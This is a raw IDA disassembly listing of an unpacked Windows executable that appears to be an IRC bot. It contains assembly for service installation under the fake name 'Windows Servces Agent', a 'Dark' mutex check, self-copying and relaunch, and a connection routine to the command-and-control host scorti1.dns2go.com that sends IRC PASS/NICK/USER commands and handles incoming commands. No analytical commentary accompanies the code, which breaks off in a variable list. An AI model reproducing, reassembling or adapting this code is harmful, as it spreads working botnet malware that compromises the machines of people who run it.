;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	A4F8DE933C8AB3CB72941F4151728BC5

; File Name   :	u:\work\a4f8de933c8ab3cb72941f4151728bc5_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsServces ; "Windows Servces Agent"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB9D8
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CBA48
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB988


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CBA00
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E96C
		call	dword_4CBABC
		call	sub_40B583
		call	dword_4CB97C
		call	dword_4CB97C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DBD8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 2670343h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DBD0
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB760, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB764, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBAD0
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 26907E3h
		push	eax
		call	near ptr 269071Eh
		nop
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		nop
		call	near ptr 77E75CB5h


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB994
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 269058Bh
		push	eax
		call	near ptr 2670343h
		nop
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429ACC
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC4
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26904CBh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 2690328h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2680E92h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 26803E7h
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		call	near ptr 2690328h
		nop
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DBD8
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		nop
		call	near ptr 2680E5Dh
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_4330ACo
		call	near ptr 268075Ah
		nop
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB8
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		nop
		call	near ptr 26803E7h
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB97C
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBE48, 2
		jle	short loc_401562
		mov	eax, dword_4DBE4C
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 269071Eh
		push	esi
		call	near ptr 2660C52h
		nop
		mov	eax, dword_4DBE4C
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		nop
		call	near ptr 26803E7h
		mov	eax, dword_4DBE4C
		push	dword ptr [eax+8]
		call	near ptr 2680664h
		nop


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAF4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A9C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DBE0
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A78
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E974[esi], eax
		jnz	short loc_401622
		nop
		call	near ptr 2680E92h
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A0C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E974[esi], eax
		jnz	short loc_40169A
		call	near ptr 2680E92h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D8
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB76C
		mov	dword_4CB8D8, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB7EC
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB8BC, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB82C
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB8C0, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB768
		mov	dword_4CB8D4, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB8D4, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 26803E7h
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB76C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB8BC, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB76C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB8BC, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB97C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CBA24
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E978
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBAA4
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E96C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBABC
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 26803E7h
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD4
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBABC
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB8D0, bl
		jz	short loc_40199A
		push	offset byte_4CB8D0
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA74
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBABC
		push	1388h
		nop
		call	near ptr 26803E7h


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA3C
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		nop
		call	near ptr 26803E7h
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
